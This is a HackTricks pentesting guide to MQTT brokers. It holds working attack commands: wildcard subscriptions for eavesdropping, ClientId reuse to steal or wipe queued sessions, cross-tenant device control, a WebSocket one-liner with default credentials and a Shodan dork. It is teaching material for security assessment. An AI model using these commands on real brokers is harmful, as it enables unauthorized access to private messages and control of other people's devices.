1883-pentesting-mqtt-mosquitto.md (18651B)
1 --- 2 title: "1883 - Pentesting MQTT (Mosquitto)" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 1883 - Pentesting MQTT (Mosquitto) 14 15 ## Basic Information 16 17 **MQTT** is a lightweight **publish/subscribe messaging protocol** designed for constrained devices and low-bandwidth, high-latency, or unreliable networks. Its small control-packet overhead and three quality-of-service levels make it common in machine-to-machine, IoT, and mobile applications.<sup>[[10]](#references)</sup> 18 19 **Default port:** 1883 20 21 ```text 22 PORT STATE SERVICE REASON 23 1883/tcp open mosquitto version 1.4.8 syn-ack 24 ``` 25 26 ## Inspecting the traffic 27 28 After a client sends **CONNECT**, the broker answers with **CONNACK**. In MQTT 3.1.1, return code **0x00** means that the connection was accepted and **0x05** means “not authorized”; this can reflect invalid credentials, an unauthorized client, or another broker policy. MQTT 5 uses reason codes instead (for example, `0x87` for “Not authorized”), so interpret captures according to the negotiated protocol version.<sup>[[10]](#references)</sup> 29 30 For instance, if the broker rejects the connection due to invalid credentials, the scenario would look something like this: 31 32 ```text 33 { 34 "returnCode": "0x05", 35 "description": "Connection Refused, not authorized" 36 } 37 ``` 38 39  40 41 ### [**Brute-Force MQTT**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#mqtt) 42 43 ## Pentesting MQTT 44 45 MQTT itself does not require username/password authentication, and plain MQTT on TCP/1883 does not provide transport encryption. If a deployment sends credentials over an unprotected listener, an on-path attacker can capture them; TLS-enabled listeners are commonly exposed on TCP/8883.<sup>[[10]](#references)[[11]](#references)</sup> 46 47 To connect to a MQTT service you can use: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) and subscribe yourself to all the topics doing: 48 49 ```text 50 > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883) 51 > subscribe "#" 1 52 > subscribe "$SYS/#" 53 ``` 54 55 You could also use [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn) 56 57 You can also use the Mosquitto command-line clients:<sup>[[11]](#references)</sup> 58 59 ```bash 60 apt-get install mosquitto mosquitto-clients 61 mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic' 62 mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics. 63 ``` 64 65 Or you could **run this code to try to connect to a MQTT service without authentication, subscribe to every topic and listen them**: 66 67 ```python 68 #This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py 69 import paho.mqtt.client as mqtt 70 import time 71 import os 72 73 HOST = "127.0.0.1" 74 PORT = 1883 75 76 def on_connect(client, userdata, flags, rc): 77 client.subscribe('#', qos=1) 78 client.subscribe('$SYS/#') 79 80 def on_message(client, userdata, message): 81 print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload)) 82 83 def main(): 84 client = mqtt.Client() 85 client.on_connect = on_connect 86 client.on_message = on_message 87 client.connect(HOST, PORT) 88 client.loop_start() 89 #time.sleep(10) 90 #client.loop_stop() 91 92 if __name__ == "__main__": 93 main() 94 ``` 95 96 ### The Publish/Subscribe Pattern <a href="#b667" id="b667"></a> 97 98 The publish/subscribe model is composed of: 99 100 - **Publisher**: publishes a message to one (or many) topic(s) in the broker. 101 - **Subscriber**: subscribes to one (or many) topic(s) in the broker and receives all the messages sent from the publisher. 102 - **Broker**: routes all the messages from the publishers to the subscribers. 103 - **Topic**: consists of one or more levels separated by a forward slash (for example, `smarthouse/livingroom/temperature`). 104 105 ### Packet Format <a href="#f15a" id="f15a"></a> 106 107 Every MQTT control packet contains a fixed header with a packet type, type-specific flags, and a variable-byte remaining-length field.<sup>[[10]](#references)</sup> 108 109  110 111 ### Packet Types<sup>[[10]](#references)</sup> 112 113 - CONNECT (1): Initiated by the client to request a connection to the server. 114 - CONNACK (2): The server's acknowledgment of a successful connection. 115 - PUBLISH (3): Used to send a message from the client to the server or vice versa. 116 - PUBACK (4): Acknowledgment of a PUBLISH packet. 117 - PUBREC (5): Part of a message delivery protocol ensuring the message is received. 118 - PUBREL (6): Further assurance in message delivery, indicating a message release. 119 - PUBCOMP (7): Final part of the message delivery protocol, indicating completion. 120 - SUBSCRIBE (8): A client's request to listen for messages from a topic. 121 - SUBACK (9): The server's acknowledgment of a SUBSCRIBE request. 122 - UNSUBSCRIBE (10): A client's request to stop receiving messages from a topic. 123 - UNSUBACK (11): The server's response to an UNSUBSCRIBE request. 124 - PINGREQ (12): A heartbeat message sent by the client. 125 - PINGRESP (13): Server's response to the heartbeat message. 126 - DISCONNECT (14): Initiated by the client to terminate the connection. 127 - Two values, 0 and 15, are marked as reserved and their use is forbidden. 128 129 ## ClientId collisions: queued-message theft and session wipe 130 131 Recent public PoCs against **Mosquitto 2.1.2** showed that if a target uses **persistent sessions** (`clean_session=false` in MQTT 3.1.1 or a non-zero Session Expiry in MQTT 5), reconnecting with the victim `ClientId` can attach you to the stored session, replay queued **QoS 1/2** traffic, and let you delete that session afterwards.<sup>[[8]](#references)[[9]](#references)</sup> 132 133 This is more than a simple disconnect nuisance: the published MQTT v5 PoC showed a **low-privileged authenticated user** receiving queued messages from a topic they were **not allowed to read**, because delivery followed the stored session keyed by `ClientId`, not the newly authenticated principal.<sup>[[9]](#references)</sup> Prioritise client IDs recovered from **firmware**, **mobile/web bundles**, device stickers, topic naming conventions, or predictable serial/MAC-derived schemes, especially for devices that stay offline long enough to accumulate queued commands and telemetry.<sup>[[8]](#references)[[9]](#references)</sup> 134 135 Quick checks during an assessment:<sup>[[8]](#references)[[9]](#references)</sup> 136 137 - Reconnect with the suspected `ClientId` and enable `-d`; in MQTT v5, `Session Present = 1` indicates the broker resumed stored state. 138 - Watch whether messages arrive **before** your new `SUBSCRIBE` matters — inherited queued traffic is the signal. 139 - On authorized tests, verify whether a brief reconnect with the same `ClientId` makes the real device come back with an empty session / missing queued QoS 1/2 messages. 140 141 A quick lab pattern is:<sup>[[8]](#references)[[9]](#references)</sup> 142 143 ```bash 144 # MQTT v5: try to attach to an existing stored session 145 mosquitto_sub -h <broker> -u <attacker_user> -P <attacker_pass> \ 146 -V 5 -i '<victim_clientid>' -t '<likely_topic>' -q 1 \ 147 --session-expiry-interval 3600 -d 148 149 # MQTT 3.1.1: destructive test against anonymous or weak-auth brokers 150 # (default clean session; disconnect immediately after CONNECT/CONNACK) 151 mosquitto_sub -h <broker> -V mqttv311 -i '<victim_clientid>' -t '#' -d 152 ``` 153 154 Even if `<likely_topic>` is wrong or denied, a resumed session may still push queued packets from the victim's old subscriptions before your new subscription becomes relevant.<sup>[[9]](#references)</sup> 155 156 ## IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass 157 158 Many consumer IoT platforms expose MQTT brokers that are used by two distinct roles:<sup>[[1]](#references)</sup> 159 160 - Gateway/hub devices that bridge radio protocols (e.g., BLE/LoRa/Zigbee) to the cloud. 161 - Mobile apps or web backends that control devices via “app” topics. 162 163 Common weaknesses you can abuse during a pentest: 164 165 - Plaintext MQTT over non-standard ports (e.g., TCP/8001) instead of MQTTS. Any on-path observer can read credentials and control frames. Use Wireshark to spot cleartext CONNECT/CONNACK and SUBSCRIBE/PUBLISH traffic on unusual ports. 166 - Weak or missing per-tenant topic ACLs. If topics are namespaced only by a device ID (for example, `/tenantless/<deviceId>/tx`), any authenticated user might `PUBLISH` to other tenants' devices. 167 - Sensitive data leakage via maintenance/admin topics (e.g., Wi‑Fi credentials broadcast in cleartext after config changes). 168 169 Examples (replace placeholders with real values): 170 171 Subscribe to potentially sensitive topics with known topic prefixes and device IDs: 172 173 ```bash 174 # Using mosquitto_sub 175 mosquitto_sub -h <broker> -p <port> -V mqttv311 \ 176 -i <client_id> -u <username> -P <password> \ 177 -t "<topic_prefix>/<deviceId>/admin" -v 178 ``` 179 180 Cross-tenant control when ACLs are weak (publish to another tenant’s device topic): 181 182 ```bash 183 mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \ 184 -i <your_client_id> -u <your_username> -P <your_password> \ 185 -t "/ys/<victimDeviceId>/tx" \ 186 -m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}' 187 ``` 188 189 190 ## Sparkplug B ICS/SCADA reconnaissance and fuzzing 191 192 **Sparkplug B** adds an OT/SCADA topic namespace, a strict birth/death lifecycle, and **protobuf-encoded metrics** on top of MQTT. That makes it a good target for both **passive reconnaissance** and **negative protocol testing**.<sup>[[2]](#references)[[4]](#references)[[5]](#references)</sup> 193 194 ### Passive discovery 195 196 Sparkplug traffic usually follows: 197 198 ```text 199 spBv1.0/{group_id}/{message_type}/{edge_node_id}/{device_id} 200 ``` 201 202 A low-noise first step is subscribing to Sparkplug wildcard topics and extracting live nodes, devices, aliases, and metric datatypes from **NBIRTH** and **DBIRTH** traffic: 203 204 ```bash 205 mosquitto_sub -h <broker> -p 1883 -t 'spBv1.0/#' -v 206 mosquitto_sub -h <broker> -p 1883 -t 'STATE/#' -v 207 ``` 208 209 Capture at least: 210 211 - `group_id`, `edge_node_id`, `device_id` 212 - Which message types are actually used: `NBIRTH`, `DBIRTH`, `NDATA`, `DDATA`, `NCMD`, `DCMD`, `NDEATH`, `DDEATH`, `STATE` 213 - Metric names, aliases, declared datatypes, and observed sequence/timestamp behavior 214 - Whether anonymous clients can **CONNECT**, **SUBSCRIBE**, or even **PUBLISH** into `spBv1.0/#` 215 216 ### High-value Sparkplug B fuzz cases 217 218 Once you know the real namespace and metric schema, focus on protocol-aware tests instead of generic MQTT fuzzing: 219 220 - **Topic namespace fuzzing**: mutate `group_id`, `message_type`, `edge_node_id`, or `device_id` to detect weak ACLs, flat trust boundaries, and subscribers that accept malformed topic layouts. 221 - **Lifecycle/order violations**: send `DDATA`/`NDATA` before `NBIRTH`/`DBIRTH`, repeat birth messages, send death without birth, or continue sending data after `NDEATH`/`DDEATH`. 222 - **Metric type mismatches**: declare a metric as `Float` in birth traffic and later update it as `String`, `Bytes`, `Template`, etc. Weak implementations may corrupt state or silently accept invalid telemetry. 223 - **Alias collision / rebinding**: reuse short integer aliases for different metrics or rebind an existing alias mid-session to check whether the target writes values into the wrong metric. 224 - **Sequence-number manipulation**: replay sequence values, send gaps, go backwards, or force wraparound to test ordering/replay handling. 225 - **Raw protobuf corruption**: mutate protobuf fields directly instead of only using high-level helper libraries, because helper APIs often prevent malformed payloads from being serialized. 226 227 ### Tooling 228 229 Bishop Fox released an open-source **Sparkplug B MQTT Security Fuzzer** that automates passive discovery and protocol-aware fuzz categories such as `type_mismatch`, `sequence`, `alias`, `ordering`, `malformed`, and `topic`:<sup>[[2]](#references)[[3]](#references)</sup> 230 231 ```bash 232 python3 sparkplug-fuzzer.py --setup 233 python3 sparkplug-fuzzer.py -H <broker> -p 1883 -v 234 # Optional auth/TLS 235 python3 sparkplug-fuzzer.py -H <broker> -p 8883 --tls -u <user> -P <pass> -v 236 ``` 237 238 The fuzzer listens on `spBv1.0/#`, builds a live device map from observed birth/death traffic, and then generates targeted malformed messages against the discovered schema. 239 240 ### What to validate during the assessment 241 242 - Broker ACLs scoped per Sparkplug group/role instead of broad `spBv1.0/#` 243 - Rejection/logging of protobuf parse failures and malformed topic layouts 244 - Rejection of alias rebinding, undefined aliases, and datatype changes after birth 245 - Correct cleanup of node/device state after `NDEATH`/`DDEATH` and alerts on ghost sessions or repeated rebirths 246 247 ## MQTT over WebSocket in web applications 248 249 Do not assume MQTT is only exposed on `1883/8883`. Browser-based chat widgets, dashboards, and IoT portals frequently talk to the broker through **WebSockets** (`ws://` / `wss://`) on app-specific paths such as `/mqtt` or `/ws` (RabbitMQ commonly uses `15675/ws`).<sup>[[6]](#references)[[7]](#references)</sup> 250 251 ### Frontend recon for MQTT endpoints and credentials 252 253 When testing a website that embeds a real-time widget, review: 254 255 - **HTML source** and framework bootstrapping objects (`window.__INITIAL_STATE__`, `drupalSettings`, `__NEXT_DATA__`, etc.) 256 - Public runtime config files such as `env.js`, `env_app.js`, `config.js`, `settings.json` 257 - `asset-manifest.json` / chunk manifests to find the main JavaScript bundle 258 - Minified bundles for `mqtt`, `broker`, `topic`, `clientId`, `username`, `password`, `token`, `wss://`, `/mqtt`, `/ws` 259 260 These files often leak: 261 262 - Broker hostnames and non-standard ports 263 - MQTT-over-WebSocket paths 264 - Hardcoded usernames/passwords or bearer tokens 265 - Client IDs and topic naming conventions 266 - Fallback/default credentials used when environment variables are unset 267 268 Example findings to look for: 269 270 ```javascript 271 apiUrl: 'https://chat-backend.example.com:8081/custom?token=...' 272 REACT_APP_CWC_MQTT_URL: 'wss://chat-backend.example.com:8081/mqtt' 273 CWC_CONNECTION_USERNAME: 'cwc_user' 274 CWC_CONNECTION_PASSWORD: '...' 275 username: 'admin' 276 password: 'admin' 277 ``` 278 279 If the bundle shows fallback authentication logic, always test weaker variants too (`admin/admin`, `admin:` with empty password, reused API tokens, anonymous login). 280 281 ### Wildcard topic subscription abuse in chat/session systems 282 283 Per-user chat systems often isolate conversations only by topic name, for example: 284 285 ```text 286 client/<session-id>/chat_session 287 ``` 288 289 That is safe **only** if the broker enforces **topic ACLs** for the authenticated principal. Remember: 290 291 - `+` matches **exactly one** topic level 292 - `#` matches **the rest** of the topic tree 293 294 Therefore, once you know the topic shape, test whether a low-privileged account can subscribe to broader filters such as: 295 296 ```text 297 client/+/chat_session 298 client/# 299 ``` 300 301 If this works, one session channel becomes a **cross-tenant message tap**. This is especially relevant in support chat, telemetry, and IoT multi-tenant deployments where the only separator is a customer/session/device identifier embedded in the topic. 302 303 ### Quick WebSocket MQTT PoC 304 305 If you only have a browser-facing `wss://` endpoint, a quick way to validate impact is with the Node.js [`mqtt`](https://www.npmjs.com/package/mqtt) client: 306 307 ```bash 308 npm install mqtt 309 node -e "const c=require('mqtt').connect('wss://target:8081/mqtt',{username:'admin',password:'',rejectUnauthorized:false});c.on('connect',()=>{console.log('CONNECTED');c.subscribe('client/+/chat_session',{qos:0},()=>console.log('SUBSCRIBED'))});c.on('message',(t,m)=>console.log(t+': '+m.toString()));setTimeout(()=>process.exit(),60000)" 310 ``` 311 312 Notes: 313 314 - `rejectUnauthorized:false` is only a **testing workaround** for bad/self-signed TLS; it is **not** the vulnerability. 315 - Start with the exact topic you recovered from the frontend and then broaden it with `+` / `#`. 316 - Watch for JWTs, session IDs, PII, admin events, and historical chat payloads. 317 318 ### What to verify once connected 319 320 - Can you subscribe to **other tenants'** topics? 321 - Can you **publish** into another user's/device's topic? 322 - Are there **admin/debug** topics leaking credentials, tokens, or provisioning data? 323 - Do wildcard subscriptions work for both **SUBSCRIBE** and **retained** messages? 324 - Does the broker expose the same auth material over both HTTP config files and MQTT/WebSocket login? 325 326 ## Shodan 327 328 - `port:1883 MQTT` 329 - MQTT plaintext on non-standard ports is common in IoT. Consider searching for brokers on alternative ports and confirm with protocol detection. 330 331 332 ## References 333 334 - [1] [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home) 335 - [2] [Sparkplug B Protocol Fuzzing with AI Assistance](https://bishopfox.com/blog/sparkplug-b-protocol-fuzzing-with-ai-assistance) 336 - [3] [BishopFox/sparkplugFuzzer](https://github.com/BishopFox/sparkplugFuzzer) 337 - [4] [Sparkplug Specification 3.0.0](https://sparkplug.eclipse.org/specification/version/3.0/documents/sparkplug-specification-3.0.0.pdf) 338 - [5] [sparkplug_b.proto](https://github.com/eclipse-tahu/tahu/blob/master/sparkplug_b/sparkplug_b.proto) 339 - [6] [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741) 340 - [7] [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt) 341 - [8] [Persistent session state can be destroyed by a spoofed CONNECT with Clean Session=1](https://github.com/eclipse-mosquitto/mosquitto/issues/3551) 342 - [9] [Authenticated user can hijack another user's session via ClientID and exfiltrate queued messages (MQTT v5.0)](https://github.com/eclipse-mosquitto/mosquitto/issues/3553) 343 - [10] [OASIS MQTT Version 5.0 specification](https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html) 344 - [11] [Eclipse Mosquitto `mosquitto_sub` manual](https://mosquitto.org/man/mosquitto_sub-1.html)